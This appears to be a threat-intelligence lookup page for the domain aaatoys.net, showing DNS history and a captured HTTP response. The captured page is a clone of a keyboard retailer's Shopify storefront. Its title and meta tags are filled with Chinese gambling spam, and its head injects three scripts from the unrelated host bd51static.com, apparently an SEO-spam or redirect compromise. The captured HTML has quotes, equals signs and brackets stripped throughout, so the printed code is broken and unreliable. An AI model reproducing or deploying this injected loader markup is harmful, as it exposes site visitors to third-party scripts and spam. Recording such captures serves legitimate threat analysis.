Help
RSS
API
Feed
Maltego
Contact
Domain > aaatoys.net
×
Welcome!
Right click nodes and scroll the mouse to navigate the graph.
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2014-03-05
113.10.238.148
(
ClassC
)
2024-09-12
35.215.140.236
(
ClassC
)
Port 80
HTTP/1.1 200 OKServer: nginxDate: Thu, 12 Sep 2024 17:24:19 GMTContent-Type: text/htmlContent-Length: 203808Last-Modified: Tue, 06 Aug 2024 05:36:35 GMTConnection: keep-aliveVary: Accept-EncodingETag: 66b1b663-31c20Accept-Ranges: bytes !doctype html>html classno-js langen>head> meta charsetutf-8> meta http-equivX-UA-Compatible contentIEedge,chrome1> meta nameviewport contentwidthdevice-width,initial-scale1> meta nametheme-color content#0099db> link relcanonical hrefindex.html> !--/*** @license* MyFonts Webfont Build ID 875358** The fonts listed in this notice are subject to the End User License* Agreement(s) entered into by the website owner. All other parties are* explicitly restricted from using the Licensed Webfonts(s).** You may obtain a valid license from one of MyFonts official sites.* http://www.fonts.com* http://www.myfonts.com* http://www.linotype.com**/--> link relstylesheet typetext/css hrefimages/myfontswebfontskitadce.css?v55596977656424705161703777635>link relshortcut icon hrefimages/compact_logo_32x329f4c.png?v1614288258 typeimage/png> title>2024全新官方看极速赛车开奖结果_迪士尼彩票|正规极速赛车开奖结果历史官网数据 NovelKeys LLC/title>script typetext/javascript src//bd51static.com/2er.js>/script>script typetext/javascript src//bd51static.com/0zq.js>/script>script typetext/javascript src//bd51static.com/000zq.js>/script>script srcmain.js>/script>meta namedescription content2024全新官方看极速赛车开奖结果_迪士尼彩票 Experience an elevated standard in typing and gaming with our premium selection of custom mechanical keyboards, keycaps, switches, artisans, and deskpads.>!-- /snippets/social-meta-tags.liquid -->meta propertyog:site_name contentNovelKeys LLC>meta propertyog:url contentindex.html>meta propertyog:title content2024全新官方看极速赛车开奖结果_迪士尼彩票|正规极速赛车开奖结果历史官网数据 NovelKeys LLC>meta propertyog:type contentwebsite>meta propertyog:description content2024全新官方看极速赛车开奖结果_迪士尼彩票 Experience an elevated standard in typing and gaming with our premium selection of custom mechanical keyboards, keycaps, switches, artisans, and deskpads.> meta nametwitter:site content@NovelKeys>meta nametwitter:card contentsummary_large_image>meta nametwitter:title content2024全新官方看极速赛车开奖结果_迪士尼彩票|正规极速赛车开奖结果历史官网数据 NovelKeys LLC>meta nametwitter:description content2024全新官方看极速赛车开奖结果_迪士尼彩票 Experience an elevated standard in typing and gaming with our premium selection of custom mechanical keyboards, keycaps, switches, artisans, and deskpads.> link hrefimages/theme.scsscf62.css?v43963938806655895581703791338 relstylesheet typetext/css mediaall /> link relstylesheet hrefimages/photoswipe7730.css?v53593495071447175951703777635> link relstylesheet hrefimages/default-skinb045.css?v178193977648080268381703777635> script> var theme { strings: { addToCart: Add to cart, soldOut: Sold out, unavailable: Unavailable, regularPrice: Regular price, sale: Sale, showMore: Show More, showLess: Show Less, addressError: Error looking up that address, addressNoResults: No results for that address, addressQueryLimit: You have exceeded the Google API usage limit. Consider upgrading to a \u003ca href\https:\/\/developers.google.com\/maps\/premium\/usage-limits\\u003ePremium Plan\u003c\/a\u003e., authError: There was a problem authenticating your Google Maps account., newWindow: Opens in a new window., external: Opens external website., newWindowExternal: Opens external website in a new window. }, moneyFormat: ${{amount}} } document.documentElement.className document.documentElement.className.replace(no-js, js); /script>script srcimages/lazysizes21f8.js?v68441465964607740661703777635 asyncasync>/script> script srcimages/vendor3b55.js?v121857302354663160541703777635 deferdefer>/script> script srcimages/theme2b74.js?v94152514613498512711703777635 deferdefer>/script> script srcimages/photoswipe.minba5e.js?v172173988964797088251703777635>/script> script srcimages/photoswipe-ui-default.min8620.js?v97623706128145982451703777635>/script> script>window.performance && window.performance.mark && window.performance.mark(shopify.content_for_header.start);/script>meta idshopify-digital-wallet nameshopify-digital-wallet content/30998088/digital_wallets/dialog>meta nameshopify-checkout-api-token content9306673908cdec1b243d25225124d530>meta idin-context-paypal-metadata data-shop-id30998088 data-venmo-supportedtrue data-environmentproduction data-localeen_US data-paypal-v4true data-currencyUSD>script asyncasync srcimages/preloads5325.js?permanent-domainnovelkeys-llc.myshopify.com&localeen-US>/script>script idapple-pay-shop-capabilities typeapplication/json>{shopId:30998088,countryCode:US,currencyCode:USD,merchantCapabilities:supports3DS,merchantId:gid:\/\/shopify\/Shop\/30998088,merchantName:NovelKeys LLC,requiredBillingContactFields:postalAddress,email,phone,requiredShippingContactFields:postalAddress,email,phone,shippingType:shipping,supportedNetworks:visa,masterCard,amex,discover,elo,jcb,total:{type:pending,label:NovelKeys LLC,amount:1.00},shopifyPaymentsEnabled:true,supportsSubscriptions:true}/script>script idshopify-features typeapplication/json>{accessToken:9306673908cdec1b243d25225124d530,betas:rich-media-storefront-analytics,domain:novelkeys.com,predictiveSearch:true,shopId:30998088,smart_payment_buttons_url:https:\/\/novelkeys.com\/cdn\/shopifycloud\/payment-sheet\/assets\/latest\/spb.en.js,dynamic_checkout_cart_url:https:\/\/novelkeys.com\/cdn\/shopifycloud\/payment-sheet\/assets\/latest\/dynamic-checkout-cart.en.js,locale:en,optimusEnabled:true,optimusHidden:false,betterDynamicCheckoutRecommendationVariant:control,shopPromisePDPV3Enabled:true}/script>script>var Shopify Shopify || {};Shopify.shop novelkeys-llc.myshopify.com;Shopify.locale en;Shopify.currency {active:USD,rate:1.0};Shopify.country US;Shopify.theme {name:BOGO Collection Update,id:133162959015,theme_store_id:null,role:main};Shopify.theme.handle null;Shopify.theme.style {id:null,handle:null};Shopify.cdnHost novelkeys.com/cdn;Shopify.routes Shopify.routes || {};Shopify.routes.root index.html;/script>script typemodule>!function(o){(o.Shopifyo.Shopify||{}).modules!0}(window);/script>script>!function(o){function n(){var o;function n(){o.push(Array.prototype.slice.apply(arguments))}return n.qo,n}var to.Shopifyo.Shopify||{};t.loadFeaturesn(),t.autoloadFeaturesn()}(window);/script>script>window.ShopifyPay window.ShopifyPay || {};window.ShopifyPay.apiHost shop.app\/pay;/script>script> window.Shopify window.Shopify || {}; if (!window.Shopify.featureAssets) window.Shopify.featureAssets {}; window.Shopify.featureAssetsshop-js {pay-button:modules/client.pay-button_bade1de0.en.esm.js,modules/chunk.common_f48907f1.esm.js,init-shop-email-lookup-coordinator:modules/client.init-shop-email-lookup-coordinator_68c2b3d1.en.esm.js,modules/chunk.common_f48907f1.esm.js,init-customer-accounts-sign-up:modules/client.init-customer-accounts-sign-up_3e429856.en.esm.js,modules/chunk.common_f48907f1.esm.js,init-customer-accounts:modules/client.init-customer-accounts_1edc36e9.en.esm.js,modules/chunk.common_f48907f1.esm.js,init-shop-for-new-customer-accounts:modules/client.init-shop-for-new-customer-accounts_24451c04.en.esm.js,modules/chunk.common_f48907f1.esm.js,shop-pay-payment-request:modules/client.shop-pay-payment-request_b6aaec63.en.esm.js,images/chunk.common_f48907f1.esm.js,modules/chunk.shop-pay_77c42042.esm.js,login-button:modules/client.login-button_a5bb2a64.en.esm.js,modules/chunk.common_f48907f1.esm.js,discount-app:modules/client.discount-app_2b8f6705.en.esm.js,modules/chunk.common_f48907f1.esm.js,payment-terms:modules/client.payment-terms_5b268d3a.en.esm.js,modules/chunk.common_f48907f1.esm.js};/script>script>(function() { function asyncLoad() { var urls https:\/\/chimpstatic.com\/mcjs-connected\/js\/users\/47950b529713b6e4f8f806cb1\/b687a8b91edaec79d69b935ae.js?shopnovelkeys-llc.myshopify.com,index.html\/\/s3-us-west-2.amazonaws.com\/da-restock\/da-restock.js?shopnovelkeys-llc.myshopify.com,#\/\/cdn.shopify.com\/proxy\/d9693726af85930046e87eb04d89bab97e8451bd7c1220b24c67c6eb9ebef98d\/api.goaffpro.com\/loader.js?shopnovelkeys-llc.myshopify.com\u0026sp-cache-controlcHVibGljLCBtYXgtYWdlPTkwMA,https:\/\/geolocation-recommendations.shopifyapps.com\/locale_bar\/script.js?shopnovelkeys-llc.myshopify.com; for (var i 0; i urls.length; i++) { var s document.createElement(script); s.type text/javascript; s.async true; s.src urlsi; var x document.getElementsByTagName(script)0; x.parentNode.insertBefore(s, x); } }; if(window.attachEvent) { window.attachEvent(onload, asyncLoad); } else { window.addEventListener(load, asyncLoad, false); }})();/script>script id__st>var __st{a:30998088,offset:-18000,reqid:41e64415-ff2e-495c-bc01-1de526547467,pageurl:novelkeys.com\/,u:ce3c5834f03c,p:home};/script>script>window.ShopifyPaypalV4VisibilityTracking true;/script>script>!function(o){o.addEventListener(DOMContentLoaded,function(){window.Shopifywindow.Shopify||{},window.Shopify.recaptchaV3window.Shopify.recaptchaV3||{siteKey:6LcCR2cUAAAAANS1Gpq_mDIJ2pQuJphsSQaUEuc9};var tformaction*/contact inputnameform_typevaluecontact,formaction*/comments inputnameform_typevaluenew_comment,formaction*/account inputnameform_typevaluecustomer_login,formaction*/account inputnameform_typevaluerecover_customer_password,formaction*/account inputnameform_typevaluecreate_customer,formaction*/contact inputnameform_typevaluecustomer.join(,);function n(e){ee.target;nulle||null!(efunction e(t,n){if(nullt.parentElement)return null;if(FORM!t.parentElement.tagName)return e(t.parentElement,n);for(var ot.parentElement.action,r0;rn.length;r++)if(-1!o.indexOf(nr))return t.parentElement;return null}(e,/contact,/comments,/account))&&null!e.querySelector(t)&&((eo.createElement(script)).setAttribute(src,images/index.js),o.body.appendChild(e),o.removeEventListener(focus,n,!0),o.removeEventListener(change,n,!0),o.removeEventListener(click,n,!0))}o.addEventListener(click,n,!0),o.addEventListener(change,n,!0),o.addEventListener(focus,n,!0)})}(document);/script>script integritysha256-h4dvokWvGcvRSqiG7VnGqoonxF0k3NeoHPLSMjUGIz4 data-source-attributionshopify.loadfeatures deferdefer srcimages/load_feature-87876fa245af19cbd14aa886ed59c6aa8a27c45d24dcd7a81cf2d2323506233e.js crossoriginanonymous>/script>script crossoriginanonymous deferdefer srcimages/storefront-a2d444786d996da5634fbbaeeffe6104ee672440dfa6cdcaebfb27dceaaf9c0fb805.js?v20220906>/script>script integritysha256-HAs5a9TQVLlKuuHrahvWuke+s1UlxXohfHeoYv8G2D8 data-source-attributionshopify.dynamic-checkout deferdefer srcimages/features-1c0b396bd4d054b94abae1eb6a1bd6ba47beb35525c57a217c77a862ff06d83f.js crossoriginanonymous>/script>style idshopify-dynamic-checkout-cart>@media screen and (min-width: 750px) { #dynamic-checkout-cart { min-height: 50px; }}@media screen and (max-width: 750px) { #dynamic-checkout-cart { min-height: 240px; }}/style>script>window.performance && window.performance.mark && window.performance.mark(shopify.content_for_header.end);/script> !-- snippets/pagefly-header.liquid was not rendered, the associated app was uninstalled --> !-- BEGIN app block: shopify://apps/uploadly-file-upload/blocks/app-embed/d91e9a53-de3d-49df-b7a1-ac8a15b213e5 -->div data-ph-meta{"buy_button":false,"field_652e985b1056b6488c8abcc2":{"status":true,"position":1,"data":{"fieldname":"Design","directUpload":true,"atcTitle":"Upload PDF:","uploadButtonText":"Choose File","uploadButtonText2":"Change File","dialogInstructionOne":"Select the modified template file","dialogInstructionTwo":"Select the modified template file","dialogInstructionThree":"If you have trouble uploading, click ⋮ in the top right, then ‘Open in Chrome’","buttonTextSize":14,"buttonFontSize":14,"fontStyle":"Theme Font","introTitleColor":"#000","buttonCol":"#fff","buttonBg":"#0099db","buttonTopBottomPadding":"10","buttonLeftRightPadding":"10","buttonBorderRadius":"0","buttonWidth":"Auto","buttonDialogLang":"English","dialogLanguage":"en","opt1":true,"op2":false,"maximumFiles":3,"minimumfiles":0,"opt3":false,"fopt1":false,"fopt2":true,"fopt3":false,"pdf":true,"word":false,"customFile":false,"fileTypes":,"buttonStatus":"Disable","textFieldName":"Notes:","fieldHelpText":"","textFieldMaxLength":"No","textFieldMaxChars":"30","textFieldRequired":"No","textFieldRequiredMessage":"Please enter a text!","textFieldrequiredMessageButtonText":"OK","fileSizeRestriction":false,"fileSizeRestrictionType":"minimumFileRestriction","fileSizeMinimumRestriction":"2","fileSizeMaximumRestriction":"4","fileSizeMinMaxMinimum":"2","fileSizeMinMaxMaximum":"4","no":false,"yes":true,"fileRequiredMessage":"Please upload your design.","fileRequiredMessageButtonText":"Okay","allowCropping":true,"croppingType":"crop_free","croppingAspectRatio":"3:2","allowEditing":false,"editingType":"optional","buttonStatus2":"Disable","imageWidth":"1800","imageHeight":"1200","selectedUploadSources":"file camera url facebook instagram gdrive gphotos dropbox nft evernote flickr onedrive box vk huddle","productCondition":{"condition":"","products":"Custom Deskpad","productIds":"gid:\/\/shopify\/Product\/7746131689639","collection":,"collectionIds":,"prodOpt":"","prodTitleEqual":,"prodTitleContains":,"collOpt":"","collectionTitleEqual":,"collectionTitleContains":},"allVariants":true,"anyConditionVariant":false,"allConditionVariant":false,"noneConditionVariant":false,"allVariantValues":,"anyConditionCheck":false,"allConditionCheck":false,"showAllFields":false,"thisProduct":true,"thisCollection":false,"ucCustomTransalations":{"uploading":"Uploading... Please wait.","loadingInfo":"Loading info...","errors_default":"Error","error_invalid_filetype":"Invalid file type","errors_baddata":"Incorrect value","errors_size":"File too big","errors_upload":"Can't upload","errors_user":"Upload canceled","errors_info":"Can't load info","errors_image":"Only images allowed","draghere":"Drop a file here","one":"1 file","file_other":"1 files","buttons_cancel":"Cancel","buttons_remove":"Remove","buttons_choose_files_one":"Choose a file","buttons_choose_files_other":"Choose files","buttons_choose_images_one":"Choose an image","buttons_choose_images_other":"Choose images","dialog_close":"Close","dialog_done":"Done","dialog_showFiles":"Show files","dialog_tabs_names_preview":"Preview","dialog_tabs_names_file":"Local Files","dialog_tabs_names_url":"Direct Link","dialog_tabs_names_file_drag":"drag \u0026 drop\u003cbr\u003eany files","dialog_tabs_names_file_or":"or","dialog_tabs_names_file_also":"or choose from","dialog_tabs_names_file_button":"Choose a local file","dialog_tabs_names_url_title":"Files from the Web","dialog_tabs_names_url_line2":"Provide the link.","dialog_tabs_names_url_input":"Paste your link here...","dialog_tabs_names_url_button":"Upload","dialog_tabs_names_camera_title":"File from web camera","dialog_tabs_names_camera_capture":"Take a photo","dialog_tabs_names_camera_mirror":"Mirror","dialog_tabs_names_camera_startRecord":"Record a video","dialog_tabs_names_camera_stopRecord":"Stop","dialog_tabs_names_camera_retry":"Request permissions again","dialog_tabs_names_camera_pleaseAllow_title":"Please allow access to your camera","dialog_tabs_names_camera_pleaseAllow_text":"You have been prompted to allow camera access from this site.\u003cbr\u003eIn order to take pictures with your camera you must approve this request.","notFound_title":"No camera detected","notFound_text":"Looks like you have no camera connected to this device.","dialog_tabs_names_preview_back":"Back","dialog_tabs_names_preview_done":"Add","dialog_tabs_names_preview_unknown_done":"Skip preview and accept","dialog_tabs_names_preview_regular_title":"Add this file?","dialog_tabs_names_preview_regular_line1":"You are about to add the file above.","dialog_tabs_names_preview_regular_line2":"Please confirm.","dialog_tabs_names_preview_image_title":"Add this image?","dialog_tabs_names_preview_crop_title":"Crop and add this image","dialog_tabs_names_preview_crop_free":"free","dialog_tabs_names_preview_video_title":"Add this video?","dialog_tabs_names_preview_error_default_title":"Oops!","dialog_tabs_names_preview_error_default_text":"Something went wrong during the upload.","dialog_tabs_names_preview_error_default_back":"Please try again","dialog_tabs_names_preview_error_loadImage_text":"Can't load image","dialog_tabs_names_preview_multiple_question":"Add files?","dialog_tabs_names_preview_multiple_tooManyFiles":"You've chosen too many files. max is maximum.","dialog_tabs_names_preview_multiple_title":"You've chosen files.","dialog_tabs_names_preview_multiple_tooFewFiles":"You've chosen files. At least min required.","dialog_tabs_names_preview_multiple_clear":"Remove all","effects_captions_blur":"Blur","effects_captions_crop":"Crop","effects_captions_enhance":"Enhance","effects_captions_flip":"Flip","effects_captions_grayscale":"Grayscale","effects_captions_invert":"Invert","effects_captions_mirror":"Mirror","effects_captions_rotate":"Rotate","effects_captions_sharp":"Sharpen","effects_apply_button":"Apply"},"fileRequiredButton":"","previewStyle":"link_preview","customStyling":{"container":"","heading":"","button":""},"targetingType":"beginner","thisProductVariants":false,"selectedProducts":{"id":"gid:\/\/shopify\/Product\/7746131689639","title":"Custom Deskpad"},"fileExtensions":,"translations":}}}>/div>script> try { window.ph_meta_fields JSON.parse(document.querySelector(data-ph-meta).getAttribute(data-ph-meta)); } catch (err) { window.ph_meta_fields {}; } console.log(cli3 update);/script>script defer srcimages/page_script7692.js?vapp_block>/script>script async srcimages/uploadcare.js>/script>!-- END app app block -->meta propertyog:image contenthttps://cdn.shopify.com/s/files/1/3099/8088/files/NovelKeys_Logo.png?height628&pad_colorffffff&v1630432573&width1200 />meta propertyog:image:secure_url contenthttps://cdn.shopify.com/s/files/1/3099/8088/files/NovelKeys_Logo.png?height628&pad_colorffffff&v1630432573&width1200 />meta propertyog:image:width content1200 />meta propertyog:image:height content628 />link hrefhttps://monorail-edge.shopifysvc.com/ reldns-prefetch>script>(function(){if (sendBeacon in navigator && performance in window) {var session_token document.cookie.match(/_shopify_s(^;*)/);function handle_abandonment_event(e) {var entries performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length 0) {window.abandonment_tracked true;var currentMs Date.now();var navigation_start performance.timing.navigationStart;var payload {shop_id: 30998088,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token: session_token && session_token.length 2 ? session_token1 : ,page_type: index};window.navigator.sendBeacon(https://monorail-edge.shopifysvc.com/v1/produce, JSON.stringify({schema_id: online_store_buyer_site_abandonment/1.1,payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener(pagehide, handle_abandonment_event);}}());/script>script idweb-pixels-manager-setup>(function e(e,n,a,t,o,r,i){var snull!e,l(functiontypeof BigInt&&BigInt.toString().indexOf(native code)?modern:legacy).substring(0,1),ct.substring(0,1);if(s){window.Shopifywindow.Shopify||{};var dwindow.Shopify;d.analyticsd.analytics||{};var ud.analytics;u.replayQueue,u.publishfunction(e,n,a){u.replayQueue.push(e,n,a)};try{self.performance.mark(wpm:start)}catch(e){}}var p,f,y,h,v,m,w,g,b,_a,/wpm,index.html,c,r,l,.js.join();f(p{src:_,async:!0,onload:function(){if(e){var awindow.webPixelsManager.init(e);nulln||n(a);var twindow.Shopify.analytics;t.replayQueue.forEach((function(e){var ne0,te1,oe2;a.publishCustomEvent(n,t,o)})),t.replayQueue,t.publisha.publishCustomEvent,t.visitora.visitor}},onerror:function(){var n(nulle?void 0:e.storefrontBaseUrl)?e.storefrontBaseUrl.replace(/\/$/,):self.location.origin,a.concat(n,/.well-known/shopify/monorail/unstable/produce_batch),tJSON.stringify({metadata:{event_sent_at_ms:(new Date).getTime()},events:{schema_id:web_pixels_manager_load/2.0,payload:{version:o||latest,page_url:self.location.href,status:failed,error_msg:.concat(_, has failed to load)},metadata:{event_created_at_ms:(new Date).getTime()}}});try{if(self.navigator.sendBeacon.bind(self.navigator)(a,t))return!0}catch(e){}var rnew XMLHttpRequest;try{return r.open(post.html,a,!0),r.setRequestHeader(Content-Type,text/plain),r.send(t),!0}catch(e){console&&console.warn&&console.warn(Web Pixels Manager Got an unhandled error while logging a load error.)}return!1}}).src,yp.async,hvoid 0y||y,vp.onload,mp.onerror,wdocument.createElement(script),gdocument.head,bdocument.body,w.asynch,w.srcf,v&&w.addEventListener(load,v),m&&w.addEventListener(error,m),g?g.appendChild(w):b?b.appendChild(w):console.error(Did not find a head or body element to append the script)})({shopId: 30998088,storefrontBaseUrl: https://novelkeys.com,cdnBaseUrl: https://novelkeys.com/cdn,surface: storefront-renderer,enabledBetaFlags: web_pixels_async_pixel_refactor,web_pixels_manager_performance_improvement,webPixelsConfigList: {id:shopify-app-pixel,configuration:{},eventPayloadVersion:v1,runtimeContext:STRICT,scriptVersion:0570,apiClientId:shopify-pixel,type:APP},{id:shopify-custom-pixel,eventPayloadVersion:v1,runtimeContext:LAX,scriptVersion:0570,apiClientId:shopify-pixel,type:CUSTOM},initData: {cart:null,checkout:null,customer:null,productVariants:},},function pageEvents(webPixelsManagerAPI) {webPixelsManagerAPI.publish(page_viewed);},cdn.html,browser,0.0.413,fd1e9cd9w5f547c76pb0fa67d1mb36fdcdc,web_pixels_async_pixel_refactor,web_pixels_manager_performance_improvement);/script> script>window.ShopifyAnalytics window.ShopifyAnalytics || {};window.ShopifyAnalytics.meta window.ShopifyAnalytics.meta || {};window.ShopifyAnalytics.meta.currency USD;var meta {page:{pageType:home}};for (var attr in meta) { window.ShopifyAnalytics.metaattr metaattr;}/script>script>window.ShopifyAnalytics.merchantGoogleAnalytics function() { };/script>script classanalytics>(function () { var customDocumentWrite function(content) { var jquery null; if (window.jQuery) { jquery window.jQuery; } else if (window.Checkout && window.Checkout.$) { jquery window.Checkout.$; } if (jquery) { jquery(body).append(content); } }; var hasLoggedConversion function(token) { if (token) { return document.cookie.indexOf(loggedConversion + token) ! -1; } return false; } var setCookieIfConversion function(token) { if (token) { var twoMonthsFromNow new Date(Date.now()); twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2); document.cookie loggedConversion + token + ; expires + twoMonthsFromNow; } } var trekkie window.ShopifyAnalytics.lib window.trekkie window.trekkie || ; if (trekkie.integrations) { return; } trekkie.methods identify, page, ready, track, trackForm, trackLink ; trekkie.factory function(method) { return function() { var args Array.prototype.slice.call(arguments); args.unshift(method); trekkie.push(args); return trekkie; }; }; for (var i 0; i trekkie.methods.length; i++) { var key trekkie.methodsi; trekkiekey trekkie.factory(key); } trekkie.load function(config) { trekkie.config config || {}; trekkie.config.initialDocumentCookie document.cookie; var first document.getElementsByTagName(script)0; var script document.createElement(script); script.type text/javascript; script.onerror function(e) { var scriptFallback document.createElement(script); scriptFallback.type text/javascript; scriptFallback.onerror function(error) { var Monorail { produce: function produce(monorailDomain, schemaId, payload) { var currentMs new Date().getTime(); var event { schema_id: schemaId, payload: payload, metadata: { event_created_at_ms: currentMs, event_sent_at_ms: currentMs } }; return Monorail.sendRequest(https:// + monorailDomain + /v1/produce, JSON.stringify(event)); }, sendRequest: function sendRequest(endpointUrl, payload) { // Try the sendBeacon API if (window && window.navigator && typeof window.navigator.sendBeacon function && typeof window.Blob function && !Monorail.isIos12()) { var blobData new window.Blob(payload, { type: text/plain }); if (window.navigator.sendBeacon(endpointUrl, blobData)) { return true; } // sendBeacon was not successful } // XHR beacon var xhr new XMLHttpRequest(); try { xhr.open(post.html, endpointUrl); xhr.setRequestHeader(Content-Type, text/plain); xhr.send(payload); } catch (e) { console.log(e); } return false; }, isIos12: function isIos12() { return window.navigator.userAgent.lastIndexOf(iPhone; CPU iPhone OS 12_) ! -1 || window.navigator.userAgent.lastIndexOf(iPad; CPU OS 12_) ! -1; } }; Monorail.produce(monorail-edge.shopifysvc.com, trekkie_storefront_load_errors/1.1, {shop_id: 30998088, theme_id: 133162959015, app_name: storefront, context_url: window.location.href, source_url: //novelkeys.com/cdn/s/trekkie.storefront.d717ec71898e2fff396641e1a9bf63e61f989cc3.min.js}); }; scriptFallback.async true; scriptFallback.src images/trekkie.storefront.d717ec71898e2fff396641e1a9bf63e61f989cc3.min.js; first.parentNode.insertBefore(scriptFallback, first); }; script.async true; script.src images/trekkie.storefront.d717ec71898e2fff396641e1a9bf63e61f989cc3.min.js; first.parentNode.insertBefore(script, first); }; trekkie.load( {Trekkie:{appName:storefront,development:false,defaultAttributes:{shopId:30998088,isMerchantRequest:null,themeId:133162959015,themeCityHash:8220084224866347166,contentLanguage:en,currency:USD},isServerSideCookieWritingEnabled:true,monorailRegion:shop_domain},Facebook Pixel:{pixelIds:329011704548114,agent:plshopify1.2},Google Gtag Pixel:{conversionId:GT-P8ZRK8T,eventLabels:{type:purchase,action_label:MC-6RBNMTQFED},{type:page_view,action_label:MC-6RBNMTQFED},{type:view_item,action_label:MC-6RBNMTQFED},targetCountry:US},Session Attribution:{},S2S:{facebookCapiEnabled:false,facebookAppPixelId:329011704548114,source:trekkie-storefront-renderer}} ); var loaded false; trekkie.ready(function() { if (loaded) return; loaded true; window.ShopifyAnalytics.lib window.trekkie; var originalDocumentWrite document.write; document.write customDocumentWrite; try { window.ShopifyAnalytics.merchantGoogleAnalytics.call(this); } catch(error) {}; document.write originalDocumentWrite; window.ShopifyAnalytics.lib.page(null,{pageType:home}); var match window.location.pathname.match(/checkouts\/(.+)\/(thank_you|post_purchase)/) var token match? match1: undefined; if (!hasLoggedConversion(token)) { setCookieIfConversion(token); } }); var eventsListenerScript document.createElement(script); eventsListenerScript.async true; eventsListenerScript.src images/shop_events_listener-a7c63dba65ccddc484f77541dc8ca437e60e1e9e297fe1c3faebf6523a0ede9b.js; document.getElementsByTagName(head)0.appendChild(eventsListenerScript);})();/script>script classboomerang>(function () { if (window.BOOMR && (window.BOOMR.version || window.BOOMR.snippetExecuted)) { return; } window.BOOMR window.BOOMR || {}; window.BOOMR.snippetStart new Date().getTime(); window.BOOMR.snippetExecuted true; window.BOOMR.snippetVersion 12; window.BOOMR.application storefront-renderer; window.BOOMR.themeName Debut; window.BOOMR.themeVersion 11.1.5; window.BOOMR.shopId 30998088; window.BOOMR.themeId 133162959015; window.BOOMR.renderRegion gcp-us-central1; window.BOOMR.url images/shopify-boomerang-1.0.0.min.js; var where document.currentScript || document.getElementsByTagName(script)0; var parentNode where.parentNode; var promoted false; var LOADER_TIMEOUT 3000; function promote() { if (promoted) { return; } var script document.createElement(script); script.id boomr-scr-as; script.src window.BOOMR.url; script.async true; parentNode.appendChild(script); promoted true; } function iframeLoader(wasFallback) { promoted true; var dom, bootstrap, iframe, iframeStyle; var doc document; var win window; window.BOOMR.snippetMethod wasFallback ? if : i; bootstrap function(parent, scriptId) { var script doc.createElement(script); script.id scriptId || boomr-if-as; script.src window.BOOMR.url; BOOMR_lstart new Date().getTime(); parent parent || doc.body; parent.appendChild(script); }; if (!window.addEventListener && window.attachEvent && navigator.userAgent.match(/MSIE 67./)) { window.BOOMR.snippetMethod s; bootstrap(parentNode, boomr-async); return; } iframe document.createElement(IFRAME); iframe.src about:blank; iframe.title ; iframe.role presentation; iframe.loading eager; iframeStyle (iframe.frameElement || iframe).style; iframeStyle.width 0; iframeStyle.height 0; iframeStyle.border 0; iframeStyle.display none; parentNode.appendChild(iframe); try { win iframe.contentWindow; doc win.document.open(); } catch (e) { dom document.domain; iframe.src javascript:var ddocument.open();d.domain + dom + ;void(0);; win iframe.contentWindow; doc win.document.open(); } if (dom) { doc._boomrl function() { this.domain dom; bootstrap(); }; doc.write(body onloaddocument._boomrl();>); } else { win._boomrl function() { bootstrap(); }; if (win.addEventListener) { win.addEventListener(load, win._boomrl, false); } else if (win.attachEvent) { win.attachEvent(onload, win._boomrl); } } doc.close(); } var link document.createElement(link); if (link.relList && typeof link.relList.supports function && link.relList.supports(preload) && (as in link)) { window.BOOMR.snippetMethod p; link.href window.BOOMR.url; link.rel preload; link.as script; link.addEventListener(load, promote); link.addEventListener(error, function() { iframeLoader(true); }); setTimeout(function() { if (!promoted) { iframeLoader(true); } }, LOADER_TIMEOUT); BOOMR_lstart new Date().getTime(); parentNode.appendChild(link); } else { iframeLoader(false); } function boomerangSaveLoadTime(e) { window.BOOMR_onload (e && e.timeStamp) || new Date().getTime(); } if (window.addEventListener) { window.addEventListener(load, boomerangSaveLoadTime, false); } else if (window.attachEvent) { window.attachEvent(onload, boomerangSaveLoadTime); } if (document.addEventListener) { document.addEventListener(onBoomerangLoaded, function(e) { e.detail.BOOMR.init({ ResourceTiming: { enabled: true, trackedResourceTypes: script, img, css }, }); e.detail.BOOMR.t_end new Date().getTime(); }); } else if (document.attachEvent) { document.attachEvent(onpropertychange, function(e) { if (!e) eevent; if (e.propertyName onBoomerangLoaded) { e.detail.BOOMR.init({ ResourceTiming: { enabled: true, trackedResourceTypes: script, img, css }, }); e.detail.BOOMR.t_end new Date().getTime(); } }); }})();/script>/head> body classtemplate-index> !-- Root element of PhotoSwipe. Must have class pswp. -->div classpswp tabindex-1 roledialog aria-hiddentrue> !-- Background of PhotoSwipe. Its a separate element as animating opacity is faster than rgba(). --> div classpswp__bg>/div> !-- Slides wrapper with overflow:hidden. --> div classpswp__scroll-wrap> !-- Container that holds slides. PhotoSwipe keeps only 3 of them in the DOM to save memory. Dont modify these 3 pswp__item elements, data is added later on. --> div classpswp__container> div classpswp__item>/div> div classpswp__item>/div> div classpswp__item>/div> /div> !-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. --> div classpswp__ui pswp__ui--hidden> div classpswp__top-bar> !-- Controls are self-explanatory. Order can be changed. --> div classpswp__counter>/div> button classpswp__button pswp__button--close titleClose (Esc)>/button> button classpswp__button pswp__button--fs titleToggle fullscreen>/button> button classpswp__button pswp__button--zoom titleZoom in/out>/button> !-- Preloader demo https://codepen.io/dimsemenov/pen/yyBWoR --> !-- element will get class pswp__preloader--active when preloader is running --> div classpswp__preloader> div classpswp__preloader__icn> div classpswp__preloader__cut> div classpswp__preloader__donut>/div> /div> /div> /div> /div> button classpswp__button pswp__button--arrow--left titlePrevious (arrow left)> /button> button classpswp__button pswp__button--arrow--right titleNext (arrow right)> /button> div classpswp__caption> div classpswp__caption__center>/div> /div> /div> /div>/div> a classin-page-link visually-hidden skip-link href#MainContent>Skip to content/a> div idSearchDrawer classsearch-bar drawer drawer--top roledialog aria-modaltrue aria-labelSearch> div classsearch-bar__table> div classsearch-bar__table-cell search-bar__form-wrapper> form classsearch search-bar__form actionhttps://novelkeys.com/search methodget rolesearch> input classsearch__input search-bar__input typesearch nameq value placeholderSearch aria-labelSearch> button classsearch-bar__submit search__submit btn--link typesubmit> svg aria-hiddentrue focusablefalse rolepresentation classicon icon-search viewBox0 0 37 40>path dM35.6 36l-9.8-9.8c4.1-5.4 3.6-13.2-1.3-18.1-5.4-5.4-14.2-5.4-19.7 0-5.4 5.4-5.4 14.2 0 19.7 2.6 